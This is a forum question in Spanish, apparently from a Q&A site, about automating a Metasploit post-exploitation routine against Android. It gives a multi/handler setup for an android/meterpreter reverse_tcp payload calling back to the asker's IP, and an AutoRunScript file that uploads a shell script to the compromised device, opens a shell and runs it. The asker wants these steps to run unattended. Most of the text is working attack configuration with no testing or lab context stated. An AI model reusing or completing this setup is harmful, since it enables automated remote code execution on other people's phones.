Intento hacer un Metasploit AutoRunScript para Android. El primer archivo .rc tiene esta configuración
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx (my IP)
set LPORT 4545
set AutoRunScript multi_console_command -r /root/Desktop/commands.rc
exploit -j -z
Este es el segundo archivo .rc (commands.rc)
upload /root/Desktop/and.sh /data/data/com.metasploit.stage/files
shell
cd /data/data/com.metasploit.stage/files
sh and.sh
exit
El problema es después de que el comando shell
es executed the sh and.sh
y los comandos exit
no se ejecutan. Si escribo manualmente los comandos sh and.sh
y exit
está funcionando. La pregunta es ¿cómo puedo hacer que se ejecuten estos comandos? ¡Cualquier sugerencia es bienvenida y apreciada!